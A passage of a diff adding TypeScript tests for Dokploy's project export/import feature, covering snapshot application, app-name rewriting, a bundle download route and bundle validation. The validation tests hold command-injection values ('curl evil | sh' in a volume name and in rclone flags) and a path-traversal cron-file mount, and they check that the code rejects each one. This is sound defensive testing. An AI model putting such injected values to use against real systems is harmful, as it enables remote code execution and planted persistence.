"imported" }, + resolutions: {}, + serverMap: {}, + appNameMap: { "my-app-abc123": "my-app-xyz789" }, + domainStrategy: { custom: "keep" as const }, + portsStrategy: "keep" as const, + rotateDatabaseCredentials: false, + conflicts: [], + pendingServices: [], + warnings: [], + validation: [], + summary: { counts: {}, domains: 0, dumps: 0 }, + }; + + const writeDb = { + query: { + server: { findFirst: async () => undefined }, + webServerSettings: { findFirst: async () => undefined }, + mounts: { findMany: async () => [] }, + github: { findFirst: async () => undefined }, + gitlab: { findFirst: async () => undefined }, + gitea: { findFirst: async () => undefined }, + bitbucket: { findFirst: async () => undefined }, + }, + insert: () => ({ + values: (values: Record) => ({ + returning: async () => [ + { + ...values, + projectId: "new-project-1", + environmentId: "new-env-1", + applicationId: "new-app-1", + }, + ], + }), + }), + update: () => ({ set: () => ({ where: async () => {} }) }), + transaction: async (fn: (tx: unknown) => Promise) => + fn({ ...writeDb }), + } as any as TransferWriteDb; + + const result = await apply(writeDb, snapshot, plan, new Map(), "org-dest"); + + const networkWarning = result.warnings.find( + (w) => w.code === "NETWORK_UNRESOLVED", + ); + expect(networkWarning).toBeDefined(); + expect(networkWarning?.message).toContain("1"); + expect(networkWarning?.affected).toContainEqual( + expect.objectContaining({ serviceType: "application" }), + ); + }); +}); + +describe("apply restores captured dnsProvider settings (T-8.1)", () => { + const minimalSnapshotWithDns = ( + dnsProviderRows: Record[], + ): Snapshot => ({ + manifest: { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" }, + scope: { + includeEnvSecrets: true, + shared: { dnsProvider: "value" }, + files: { + applicationSources: false, + composeFiles: false, + traefikRaw: false, + customCertificates: false, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: {}, + }, + resources: { + project: { projectId: "project-1", name: "my-project" }, + environments: [], + services: [], + shared: { dnsProvider: dnsProviderRows }, + }, + requirements: [], + warnings: [], + dumps: [], + }); + + const basePlan = { + target: { kind: "newProject" as const, name: "imported" }, + resolutions: {}, + serverMap: {}, + appNameMap: {}, + domainStrategy: { custom: "keep" as const }, + portsStrategy: "keep" as const, + rotateDatabaseCredentials: false, + conflicts: [], + pendingServices: [], + warnings: [], + validation: [], + summary: { counts: {}, domains: 0, dumps: 0 }, + }; + + it("inserts a captured dnsProvider row into the destination org", async () => { + const { dnsProvider: dnsProviderTable } = await import( + "@dokploy/server/db/schema" + ); + const snapshot = minimalSnapshotWithDns([ + { + dnsProviderId: "dns-1", + name: "cloudflare-main", + providerType: "cloudflare", + config: "$secret:dns-token-1", + }, + ]); + const insertedDnsProviders: Record[] = []; + const writeDb = { + query: { + server: { findFirst: async () => undefined }, + webServerSettings: { findFirst: async () => undefined }, + mounts: { findMany: async () => [] }, + dnsProvider: { findFirst: async () => undefined }, + }, + insert: (table: unknown) => ({ + values: (values: Record) => { + const row = { + ...values, + projectId: "new-project-1", + dnsProviderId: "new-dns-1", + }; + if (table === dnsProviderTable) insertedDnsProviders.push(row); + return { returning: async () => [row] }; + }, + }), + update: () => ({ set: () => ({ where: async () => {} }) }), + transaction: async (fn: (tx: unknown) => Promise) => + fn({ ...writeDb }), + } as any as TransferWriteDb; + + const secretsPlain = new Map([ + ["dns-token-1", JSON.stringify({ apiToken: "real-cf-token" })], + ]); + await apply(writeDb, snapshot, basePlan, secretsPlain, "org-dest"); + + expect(insertedDnsProviders).toHaveLength(1); + expect(insertedDnsProviders[0]?.name).toBe("cloudflare-main"); + expect(insertedDnsProviders[0]?.config).toEqual({ + apiToken: "real-cf-token", + }); + expect(insertedDnsProviders[0]?.organizationId).toBe("org-dest"); + }); + + it("skips inserting when a dnsProvider with the same name already exists in the destination org", async () => { + const { dnsProvider: dnsProviderTable } = await import( + "@dokploy/server/db/schema" + ); + const snapshot = minimalSnapshotWithDns([ + { + dnsProviderId: "dns-1", + name: "cloudflare-main", + providerType: "cloudflare", + config: "$secret:dns-token-1", + }, + ]); + const insertedDnsProviders: Record[] = []; + const writeDb = { + query: { + server: { findFirst: async () => undefined }, + webServerSettings: { findFirst: async () => undefined }, + mounts: { findMany: async () => [] }, + dnsProvider: { + findFirst: async () => ({ + dnsProviderId: "existing-dns-1", + name: "cloudflare-main", + organizationId: "org-dest", + }), + }, + }, + insert: (table: unknown) => ({ + values: (values: Record) => { + const row = { + ...values, + projectId: "new-project-1", + dnsProviderId: "new-dns-1", + }; + if (table === dnsProviderTable) insertedDnsProviders.push(row); + return { returning: async () => [row] }; + }, + }), + update: () => ({ set: () => ({ where: async () => {} }) }), + transaction: async (fn: (tx: unknown) => Promise) => + fn({ ...writeDb }), + } as any as TransferWriteDb; + + await apply( + writeDb, + snapshot, + basePlan, + new Map([["dns-token-1", "real-cf-token"]]), + "org-dest", + ); + + expect(insertedDnsProviders).toHaveLength(0); + }); +}); + +describe("apply resolves a service's ORIGINAL server via the requirement, not the (always-stripped) row (T-10.1)", () => { + it("writes the destination server's id onto the imported application row, for a non-local source service", async () => { + const remoteApplication = { + applicationId: "app-remote-1", + name: "remote-app", + appName: "remote-app-abc123", + environmentId: "env-1", + env: "", + buildArgs: null, + buildSecrets: null, + previewEnv: null, + serverId: "server-src-1", + buildServerId: null, + githubId: null, + gitlabId: null, + giteaId: null, + bitbucketId: null, + refreshToken: null, + registryId: null, + buildRegistryId: null, + rollbackRegistryId: null, + customGitSSHKeyId: null, + customGitSSHKey: null, + networkIds: [], + owner: null, + repository: null, + sourceType: "docker", + autoDeploy: false, + isPreviewDeploymentsActive: false, + createdAt: "2024-01-01T00:00:00.000Z", + domains: [], + mounts: [], + redirects: [], + security: [], + ports: [], + schedules: [], + volumeBackups: [], + }; + const remoteProjectTree = { + projectId: "project-remote-1", + name: "remote-project", + organizationId: "org-src", + env: "", + createdAt: "2024-01-01T00:00:00.000Z", + environments: [ + { + environmentId: "env-1", + name: "production", + projectId: "project-remote-1", + env: "", + isDefault: true, + createdAt: "2024-01-01T00:00:00.000Z", + applications: [remoteApplication], + ...emptyServiceArrays, + }, + ], + }; + const db = { + query: { + projects: { findFirst: async () => remoteProjectTree }, + environments: { findFirst: async () => undefined }, + applications: { + findMany: async () => [remoteApplication], + findFirst: async () => undefined, + }, + schedules: { findMany: async () => [] }, + volumeBackups: { findMany: async () => [] }, + vaultProvider: { findMany: async () => [] }, + registry: { findMany: async () => [] }, + destinations: { findMany: async () => [] }, + network: { findMany: async () => [] }, + certificates: { findMany: async () => [] }, + gitProvider: { findMany: async () => [] }, + server: { + findMany: async () => [], + findFirst: async () => ({ organizationId: "org-dest" }), + }, + webServerSettings: { findFirst: async () => undefined }, + sshKeys: { findMany: async () => [] }, + domains: { findMany: async () => [] }, + ports: { findMany: async () => [] }, + }, + } as any as TransferDb; + + const captureResult = await capture( + db, + { kind: "project", id: "project-remote-1" }, + baseScope, + { + detectRequirements: (tree, scope) => + detectRequirements(db, tree, scope), + detectWarnings: (tree, scope) => detectWarnings(tree, scope), + }, + ); + + expect( + (captureResult.resources.services[0] as Record).serverId, + ).toBeUndefined(); + const serverRequirement = captureResult.requirements.find( + (r) => r.kind === "server", + ); + expect(serverRequirement?.originalId).toBe("server-src-1"); + + const snapshot: Snapshot = { + manifest: { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" }, + scope: baseScope, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: captureResult.inventory.totals, + }, + resources: captureResult.resources, + requirements: captureResult.requirements, + warnings: captureResult.warnings, + dumps: [], + }; + + const serverKey = requirementKey(serverRequirement!); + const plan = await buildPlan( + db, + snapshot, + "org-dest", + { + kind: "newProject", + name: "imported-project", + }, + { + resolutions: { + [serverKey]: { + requirementKey: serverKey, + action: "reuse", + targetId: "server-dest-1", + }, + }, + }, + ); + expect(plan.serverMap["server-src-1"]).toBe("server-dest-1"); + + const insertedByTable = new Map[]>(); + const environmentsTable = (await import("@dokploy/server/db/schema")) + .environments; + const idFieldByTable = new Map([ + [projects, "projectId"], + [environmentsTable, "environmentId"], + [applications, "applicationId"], + ]); + const writeDb = { + query: { + server: { + findFirst: async () => ({ + serverId: "server-dest-1", + organizationId: "org-dest", + }), + }, + webServerSettings: { findFirst: async () => undefined }, + mounts: { findMany: async () => [] }, + github: { findFirst: async () => undefined }, + gitlab: { findFirst: async () => undefined }, + gitea: { findFirst: async () => undefined }, + bitbucket: { findFirst: async () => undefined }, + }, + insert: (table: unknown) => ({ + values: (values: Record) => { + const idField = idFieldByTable.get(table); + const row = { ...values }; + if (idField) { + row[idField] = + (values[idField] as string | undefined) ?? `new-${idField}-1`; + } + const list = insertedByTable.get(table) ?? []; + list.push(row); + insertedByTable.set(table, list); + return { returning: async () => [row] }; + }, + }), + update: () => ({ set: () => ({ where: async () => {} }) }), + transaction: async (fn: (tx: unknown) => Promise) => + fn({ ...writeDb }), + } as any as TransferWriteDb; + + await apply( + writeDb, + snapshot, + plan, + captureResult.secretsPlain, + "org-dest", + ); + + const insertedApp = (insertedByTable.get(applications) ?? [])[0] as Record< + string, + unknown + >; + expect(insertedApp.serverId).toBe("server-dest-1"); + }); +}); + +describe("apply resolves application.buildServerId via its own requirement (T-10.6)", () => { + it("writes the destination build server's id onto the imported application row", async () => { + const remoteBuildApplication = { + applicationId: "app-remote-build-1", + name: "remote-build-app", + appName: "remote-build-app-abc123", + environmentId: "env-1", + env: "", + buildArgs: null, + buildSecrets: null, + previewEnv: null, + serverId: null, + buildServerId: "server-build-src-1", + githubId: null, + gitlabId: null, + giteaId: null, + bitbucketId: null, + refreshToken: null, + registryId: null, + buildRegistryId: null, + rollbackRegistryId: null, + customGitSSHKeyId: null, + customGitSSHKey: null, + networkIds: [], + owner: null, + repository: null, + sourceType: "docker", + autoDeploy: false, + isPreviewDeploymentsActive: false, + createdAt: "2024-01-01T00:00:00.000Z", + domains: [], + mounts: [], + redirects: [], + security: [], + ports: [], + schedules: [], + volumeBackups: [], + }; + const remoteProjectTree = { + projectId: "project-remote-build-1", + name: "remote-build-project", + organizationId: "org-src", + env: "", + createdAt: "2024-01-01T00:00:00.000Z", + environments: [ + { + environmentId: "env-1", + name: "production", + projectId: "project-remote-build-1", + env: "", + isDefault: true, + createdAt: "2024-01-01T00:00:00.000Z", + applications: [remoteBuildApplication], + ...emptyServiceArrays, + }, + ], + }; + const db = { + query: { + projects: { findFirst: async () => remoteProjectTree }, + environments: { findFirst: async () => undefined }, + applications: { + findMany: async () => [remoteBuildApplication], + findFirst: async () => undefined, + }, + schedules: { findMany: async () => [] }, + volumeBackups: { findMany: async () => [] }, + vaultProvider: { findMany: async () => [] }, + registry: { findMany: async () => [] }, + destinations: { findMany: async () => [] }, + network: { findMany: async () => [] }, + certificates: { findMany: async () => [] }, + gitProvider: { findMany: async () => [] }, + server: { + findMany: async () => [], + findFirst: async () => ({ organizationId: "org-dest" }), + }, + webServerSettings: { findFirst: async () => undefined }, + sshKeys: { findMany: async () => [] }, + domains: { findMany: async () => [] }, + ports: { findMany: async () => [] }, + }, + } as any as TransferDb; + + const captureResult = await capture( + db, + { kind: "project", id: "project-remote-build-1" }, + baseScope, + { + detectRequirements: (tree, scope) => + detectRequirements(db, tree, scope), + detectWarnings: (tree, scope) => detectWarnings(tree, scope), + }, + ); + + expect( + (captureResult.resources.services[0] as Record) + .buildServerId, + ).toBeUndefined(); + const serverRequirement = captureResult.requirements.find( + (r) => r.kind === "server" && r.originalId === "server-build-src-1", + ); + expect(serverRequirement?.usedBy[0]?.field).toBe("buildServerId"); + + const snapshot: Snapshot = { + manifest: { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" }, + scope: baseScope, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: captureResult.inventory.totals, + }, + resources: captureResult.resources, + requirements: captureResult.requirements, + warnings: captureResult.warnings, + dumps: [], + }; + + const serverKey = requirementKey(serverRequirement!); + const plan = await buildPlan( + db, + snapshot, + "org-dest", + { + kind: "newProject", + name: "imported-project", + }, + { + resolutions: { + [serverKey]: { + requirementKey: serverKey, + action: "reuse", + targetId: "server-build-dest-1", + }, + }, + }, + ); + expect(plan.serverMap["server-build-src-1"]).toBe("server-build-dest-1"); + + const insertedByTable = new Map[]>(); + const environmentsTable = (await import("@dokploy/server/db/schema")) + .environments; + const idFieldByTable = new Map([ + [projects, "projectId"], + [environmentsTable, "environmentId"], + [applications, "applicationId"], + ]); + const writeDb = { + query: { + server: { + findFirst: async () => ({ + serverId: "server-build-dest-1", + organizationId: "org-dest", + }), + }, + webServerSettings: { findFirst: async () => undefined }, + mounts: { findMany: async () => [] }, + github: { findFirst: async () => undefined }, + gitlab: { findFirst: async () => undefined }, + gitea: { findFirst: async () => undefined }, + bitbucket: { findFirst: async () => undefined }, + }, + insert: (table: unknown) => ({ + values: (values: Record) => { + const idField = idFieldByTable.get(table); + const row = { ...values }; + if (idField) { + row[idField] = + (values[idField] as string | undefined) ?? `new-${idField}-1`; + } + const list = insertedByTable.get(table) ?? []; + list.push(row); + insertedByTable.set(table, list); + return { returning: async () => [row] }; + }, + }), + update: () => ({ set: () => ({ where: async () => {} }) }), + transaction: async (fn: (tx: unknown) => Promise) => + fn({ ...writeDb }), + } as any as TransferWriteDb; + + await apply( + writeDb, + snapshot, + plan, + captureResult.secretsPlain, + "org-dest", + ); + + const insertedApp = (insertedByTable.get(applications) ?? [])[0] as Record< + string, + unknown + >; + expect(insertedApp.buildServerId).toBe("server-build-dest-1"); + expect(insertedApp.serverId).toBeFalsy(); + }); +}); + +describe("apply regenerates a compose's pinned suffix instead of reusing the source's (T-11.6)", () => { + const baseComposeSnapshot = (suffix: string): Snapshot => ({ + manifest: { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" }, + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: false, + composeFiles: false, + traefikRaw: false, + customCertificates: false, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: {}, + }, + resources: { + project: { projectId: "project-1", name: "my-project" }, + environments: [{ environmentId: "env-1", name: "production" }], + services: [ + { + kind: "compose", + composeId: "compose-1", + name: "my-compose", + appName: "my-compose-abc123", + environmentId: "env-1", + suffix, + }, + ], + shared: {}, + }, + requirements: [], + warnings: [], + dumps: [], + }); + + const basePlan = { + target: { kind: "newProject" as const, name: "imported" }, + resolutions: {}, + serverMap: {}, + appNameMap: { "my-compose-abc123": "my-compose-xyz789" }, + domainStrategy: { custom: "keep" as const }, + portsStrategy: "keep" as const, + rotateDatabaseCredentials: false, + conflicts: [], + pendingServices: [], + warnings: [], + validation: [], + summary: { counts: {}, domains: 0, dumps: 0 }, + }; + + const runApplyTrackingCompose = async (snapshot: Snapshot) => { + const { compose: composeTable } = await import("@dokploy/server/db/schema"); + const insertedCompose: Record[] = []; + const writeDb = { + query: { + server: { findFirst: async () => undefined }, + webServerSettings: { findFirst: async () => undefined }, + mounts: { findMany: async () => [] }, + }, + insert: (table: unknown) => ({ + values: (values: Record) => { + const row = { + ...values, + projectId: "new-project-1", + environmentId: "new-env-1", + composeId: "new-compose-1", + }; + if (table === composeTable) insertedCompose.push(row); + return { returning: async () => [row] }; + }, + }), + update: () => ({ set: () => ({ where: async () => {} }) }), + transaction: async (fn: (tx: unknown) => Promise) => + fn({ ...writeDb }), + } as any as TransferWriteDb; + + await apply(writeDb, snapshot, basePlan, new Map(), "org-dest"); + return insertedCompose; + }; + + it("generates a fresh suffix instead of reusing the source's pinned one", async () => { + const insertedCompose = await runApplyTrackingCompose( + baseComposeSnapshot("ab12cd"), + ); + expect(insertedCompose).toHaveLength(1); + expect(insertedCompose[0]?.suffix).not.toBe("ab12cd"); + expect(insertedCompose[0]?.suffix).toMatch(/^[a-f0-9]+$/); + }); + + it("leaves an empty suffix empty (already randomizes fresh on every deploy)", async () => { + const insertedCompose = await runApplyTrackingCompose( + baseComposeSnapshot(""), + ); + expect(insertedCompose[0]?.suffix).toBe(""); + }); +}); diff --git a/apps/dokploy/__test__/export-import/appname.test.ts b/apps/dokploy/__test__/export-import/appname.test.ts new file mode 100644 index 000000000..fce6421cb --- /dev/null +++ b/apps/dokploy/__test__/export-import/appname.test.ts @@ -0,0 +1,92 @@ +import { + regenerateAppName, + replaceAppNames, + rewriteSslipIoIp, + rewriteVolumeName, +} from "@dokploy/server/services/project-export-import"; +import { describe, expect, it } from "vitest"; + +describe("regenerateAppName", () => { + it("strips the last hyphen segment and rebuilds a fresh suffix", () => { + const result = regenerateAppName("application", "myapp-verb-noun-ab12cd"); + expect(result).not.toBe("myapp-verb-noun-ab12cd"); + expect(result.startsWith("myapp-verb-noun-")).toBe(true); + }); + + it("handles an app name with no hyphen", () => { + const result = regenerateAppName("application", "singleword"); + expect(result.startsWith("singleword-")).toBe(true); + }); + + it("produces a different name on every call", () => { + const first = regenerateAppName("application", "myapp-verb-noun-ab12cd"); + const second = regenerateAppName("application", "myapp-verb-noun-ab12cd"); + expect(first).not.toBe(second); + }); +}); + +describe("replaceAppNames", () => { + it("replaces a standalone app name reference", () => { + const result = replaceAppNames("DEPLOY_TARGET=app-foo ready", { + "app-foo": "app-bar", + }); + expect(result).toBe("DEPLOY_TARGET=app-bar ready"); + }); + + it("does not touch a key that only matches mid-token (left boundary)", () => { + const result = replaceAppNames("myapp-foo deployed", { foo: "bar" }); + expect(result).toBe("myapp-foo deployed"); + }); + + it("prefers the longest match when both names are in the map (prefix collision)", () => { + const result = replaceAppNames("app-foo-bar and app-foo both here", { + "app-foo": "short-renamed", + "app-foo-bar": "long-renamed", + }); + expect(result).toBe("long-renamed and short-renamed both here"); + }); + + it("returns the text unchanged when the map is empty", () => { + expect(replaceAppNames("app-foo", {})).toBe("app-foo"); + }); + + it("returns null/empty text unchanged", () => { + expect(replaceAppNames("", { "app-foo": "app-bar" })).toBe(""); + }); +}); + +describe("rewriteVolumeName", () => { + it("reports rewritten: true when the name changes", () => { + const result = rewriteVolumeName("app-foo-data", { + "app-foo": "app-bar", + }); + expect(result).toEqual({ value: "app-bar-data", rewritten: true }); + }); + + it("reports rewritten: false when nothing matches", () => { + const result = rewriteVolumeName("unrelated-volume", { + "app-foo": "app-bar", + }); + expect(result).toEqual({ value: "unrelated-volume", rewritten: false }); + }); +}); + +describe("rewriteSslipIoIp", () => { + it("swaps the trailing IP segment of an auto-generated sslip.io host for the destination's IP", () => { + const result = rewriteSslipIoIp( + "my-app-ab12cd-10-0-0-5.sslip.io", + "203.0.113.9", + ); + expect(result).toBe("my-app-ab12cd-203-0-113-9.sslip.io"); + }); + + it("leaves a non-sslip.io host untouched", () => { + const result = rewriteSslipIoIp("api.example.com", "203.0.113.9"); + expect(result).toBe("api.example.com"); + }); + + it("leaves the host untouched when no destination IP is known", () => { + const result = rewriteSslipIoIp("my-app-ab12cd-10-0-0-5.sslip.io", null); + expect(result).toBe("my-app-ab12cd-10-0-0-5.sslip.io"); + }); +}); diff --git a/apps/dokploy/__test__/export-import/bundle-route.test.ts b/apps/dokploy/__test__/export-import/bundle-route.test.ts new file mode 100644 index 000000000..aa781b0c1 --- /dev/null +++ b/apps/dokploy/__test__/export-import/bundle-route.test.ts @@ -0,0 +1,198 @@ +import { PassThrough } from "node:stream"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +let sessionToReturn: { + session: { activeOrganizationId: string } | null; + user: { id: string } | null; +} = { + session: { activeOrganizationId: "org-1" }, + user: { id: "user-1" }, +}; + +vi.mock("@dokploy/server/lib/auth", () => ({ + validateRequest: vi.fn(() => Promise.resolve(sessionToReturn)), +})); + +const { streamBox } = vi.hoisted(() => ({ + streamBox: { content: Buffer.from("bundle bytes"), exitCode: 0 }, +})); + +vi.mock( + "@dokploy/server/services/project-export-import", + async (importOriginal) => { + const actual = + await importOriginal< + typeof import("@dokploy/server/services/project-export-import") + >(); + const { PassThrough: Pass } = await import("node:stream"); + return { + ...actual, + assertTransferPermission: vi.fn(async () => ({ role: "owner" })), + findOrganizationDestination: vi.fn( + async (destinationId: string, organizationId: string) => { + if (destinationId === "dest-1" && organizationId === "org-1") { + return { destinationId, bucket: "b", organizationId }; + } + throw new Error("Destination not found"); + }, + ), + listBundles: vi.fn(async () => [ + { + key: `${actual.EXPORTS_DIRECTORY}/p-1.dokploy.tar.gz`, + size: streamBox.content.length, + modTime: "2024-01-01T00:00:00.000Z", + }, + ]), + streamBundleFromDestination: vi.fn(async () => { + const stdout = new Pass(); + const stdin = new Pass(); + stdin.resume(); + process.nextTick(() => stdout.end(streamBox.content)); + return { + stdin, + stdout, + stderr: new Pass(), + exit: Promise.resolve(streamBox.exitCode), + close: () => {}, + }; + }), + }; + }, +); + +const { assertTransferPermission, EXPORTS_DIRECTORY } = await import( + "@dokploy/server/services/project-export-import" +); +const handler = (await import("../../pages/api/project-export-import/bundle")) + .default; + +const buildReq = (query: Record, method = "GET") => ({ + method, + query, + headers: {}, +}); + +const buildRes = () => { + const body = new PassThrough(); + const chunks: Buffer[] = []; + body.on("data", (chunk) => chunks.push(chunk as Buffer)); + const res = body as unknown as PassThrough & { + statusCode: number; + jsonBody?: unknown; + headers: Record; + status: (code: number) => typeof res; + json: (value: unknown) => void; + setHeader: (key: string, value: unknown) => void; + body: () => Buffer; + }; + res.statusCode = 200; + res.headers = {}; + res.status = (code) => { + res.statusCode = code; + return res; + }; + res.json = (value) => { + res.jsonBody = value; + res.end(); + }; + res.setHeader = (key, value) => { + res.headers[key] = value; + }; + res.body = () => Buffer.concat(chunks); + return res; +}; + +const goodKey = `${EXPORTS_DIRECTORY}/p-1.dokploy.tar.gz`; + +beforeEach(() => { + sessionToReturn = { + session: { activeOrganizationId: "org-1" }, + user: { id: "user-1" }, + }; + streamBox.exitCode = 0; +}); + +describe("bundle download route", () => { + it("rejects unauthenticated requests", async () => { + sessionToReturn = { session: null, user: null }; + const res = buildRes(); + await handler( + buildReq({ destinationId: "dest-1", key: goodKey }) as any, + res as any, + ); + expect(res.statusCode).toBe(401); + }); + + it("rejects keys outside the exports directory or with the wrong extension", async () => { + for (const key of [ + "backups/prod.sql.gz", + `${EXPORTS_DIRECTORY}/../secret.dokploy.tar.gz`, + `${EXPORTS_DIRECTORY}/notes.txt`, + ]) { + const res = buildRes(); + await handler( + buildReq({ destinationId: "dest-1", key }) as any, + res as any, + ); + expect(res.statusCode).toBe(400); + } + }); + + it("rejects a non-owner caller", async () => { + vi.mocked(assertTransferPermission).mockRejectedValueOnce( + new Error("Only organization owners and admins can do that"), + ); + const res = buildRes(); + await handler( + buildReq({ destinationId: "dest-1", key: goodKey }) as any, + res as any, + ); + expect(res.statusCode).toBe(403); + }); + + it("returns 404 for a destination outside the organization", async () => { + const res = buildRes(); + await handler( + buildReq({ destinationId: "dest-other", key: goodKey }) as any, + res as any, + ); + expect(res.statusCode).toBe(404); + }); + + it("returns 404 for a bundle that is not in the listing", async () => { + const res = buildRes(); + await handler( + buildReq({ + destinationId: "dest-1", + key: `${EXPORTS_DIRECTORY}/missing.dokploy.tar.gz`, + }) as any, + res as any, + ); + expect(res.statusCode).toBe(404); + }); + + it("streams the object with the right headers", async () => { + const res = buildRes(); + await handler( + buildReq({ destinationId: "dest-1", key: goodKey }) as any, + res as any, + ); + expect(res.statusCode).toBe(200); + expect(res.headers["Content-Length"]).toBe(streamBox.content.length); + expect(res.headers["Content-Disposition"]).toContain("p-1.dokploy.tar.gz"); + expect(res.body().equals(streamBox.content)).toBe(true); + }); + + it("answers with a JSON error when listing the destination fails", async () => { + const { listBundles } = await import( + "@dokploy/server/services/project-export-import" + ); + vi.mocked(listBundles).mockRejectedValueOnce(new Error("bad credentials")); + const res = buildRes(); + await handler( + buildReq({ destinationId: "dest-1", key: goodKey }) as any, + res as any, + ); + expect(res.statusCode).toBe(502); + }); +}); diff --git a/apps/dokploy/__test__/export-import/bundle-validation.test.ts b/apps/dokploy/__test__/export-import/bundle-validation.test.ts new file mode 100644 index 000000000..ba2fd30c1 --- /dev/null +++ b/apps/dokploy/__test__/export-import/bundle-validation.test.ts @@ -0,0 +1,182 @@ +import type { + Plan, + Snapshot, + TransferWriteDb, +} from "@dokploy/server/services/project-export-import"; +import { apply } from "@dokploy/server/services/project-export-import"; +import { describe, expect, it } from "vitest"; + +const manifest: Snapshot["manifest"] = { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" }, + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: true, + composeFiles: true, + traefikRaw: true, + customCertificates: true, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: {}, +}; + +const plan = (overrides: Partial = {}): Plan => ({ + target: { kind: "newProject", name: "p" }, + resolutions: {}, + serverMap: { null: null }, + appNameMap: { "web-abc123": "web-xyz789" }, + domainStrategy: { custom: "keep" }, + portsStrategy: "keep", + rotateDatabaseCredentials: false, + conflicts: [], + pendingServices: [], + warnings: [], + validation: [], + summary: { counts: {}, domains: 0, dumps: 0 }, + ...overrides, +}); + +const writeDb = () => + ({ + query: { + server: { findFirst: async () => undefined }, + webServerSettings: { findFirst: async () => undefined }, + mounts: { findMany: async () => [] }, + github: { findFirst: async () => undefined }, + gitlab: { findFirst: async () => undefined }, + gitea: { findFirst: async () => undefined }, + bitbucket: { findFirst: async () => undefined }, + }, + insert: () => ({ + values: (values: Record) => ({ + returning: async () => [ + { + ...values, + projectId: "project-new", + environmentId: "env-new", + applicationId: "app-new", + destinationId: "dest-new", + }, + ], + }), + }), + update: () => ({ set: () => ({ where: async () => {} }) }), + transaction: async (fn: (tx: unknown) => Promise) => fn(writeDb()), + }) as unknown as TransferWriteDb; + +const appWith = (mount: Record): Snapshot => ({ + manifest, + resources: { + project: { projectId: "project-src", name: "p", env: "" }, + environments: [{ environmentId: "env-1", name: "production", env: "" }], + services: [ + { + kind: "application", + applicationId: "app-1", + appName: "web-abc123", + environmentId: "env-1", + mounts: [mount], + }, + ], + shared: {}, + }, + requirements: [], + warnings: [], + dumps: [], +}); + +describe("apply rejects unsafe bundle rows", () => { + it("refuses a file mount whose filePath escapes the service directory", async () => { + const snapshot = appWith({ + mountId: "m-1", + type: "file", + filePath: "../../../etc/cron.d/x", + content: "* * * * * root id", + mountPath: "/x", + }); + await expect( + apply(writeDb(), snapshot, plan(), new Map(), "org-dest"), + ).rejects.toThrow(/Unsafe mount filePath/); + }); + + it("refuses a volume mount with a shell-unsafe volume name", async () => { + const snapshot = appWith({ + mountId: "m-1", + type: "volume", + volumeName: "x:/v; curl evil | sh; #", + mountPath: "/data", + }); + await expect( + apply(writeDb(), snapshot, plan(), new Map(), "org-dest"), + ).rejects.toThrow(/Invalid volume name/); + }); + + it("refuses a destination whose additional rclone flags don't match the API rule", async () => { + const snapshot: Snapshot = { + manifest, + resources: { + project: { projectId: "project-src", name: "p", env: "" }, + environments: [], + services: [], + shared: { + destination: [ + { + destinationId: "dest-src", + name: "backups", + bucket: "b", + endpoint: "e", + region: "r", + accessKey: "$secret:a", + secretAccessKey: "$secret:b", + additionalFlags: ["; curl http://evil | sh #"], + }, + ], + }, + }, + requirements: [ + { + kind: "destination", + originalId: "dest-src", + configIncluded: true, + usedBy: [], + bucket: "b", + endpoint: "e", + region: "r", + }, + ], + warnings: [], + dumps: [], + }; + await expect( + apply( + writeDb(), + snapshot, + plan({ + resolutions: { + "destination:dest-src": { + requirementKey: "destination:dest-src", + action: "create", + }, + }, + }), + new Map([ + ["a", "ak"], + ["b", "sk"], + ]), + "org-dest", + ), + ).rejects.toThrow(/invalid additional rclone flags/); + }); +}); diff --git a/apps/dokploy/__test__/export-import/capture.test.ts b/apps/dokploy/__test__/export-import/capture.test.ts new file mode 100644 index 000000000..77b61b137 --- /dev/null +++ b/apps/dokploy/__test__/export-import/capture.test.ts @@ -0,0 +1,440 @@ +import type { + ExportScope, + TransferDb, +} from "@dokploy/server/services/project-export-import"; +import { + CaptureNotFoundError, + capture, +} from "@dokploy/server/services/project-export-import"; +import { describe, expect, it } from "vitest"; + +const application1 = { + applicationId: "app-1", + name: "app-1", + appName: "app-one", + environmentId: "env-1", + env: "DB_PASS=hunter2\nAPI_KEY=abc123", + buildArgs: null, + serverId: "server-1", + buildServerId: "server-1", + githubId: "gh-1", + gitlabId: null, + giteaId: null, + bitbucketId: null, + refreshToken: "webhook-token-1", + createdAt: "2024-01-01T00:00:00.000Z", + domains: [ + { domainId: "dom-1", host: "app-1.example.com", createdAt: "2024-01-01" }, + ], + mounts: [ + { + mountId: "mount-1", + type: "file", + content: "server { listen 80; }", + createdAt: "2024-01-01", + }, + { + mountId: "mount-2", + type: 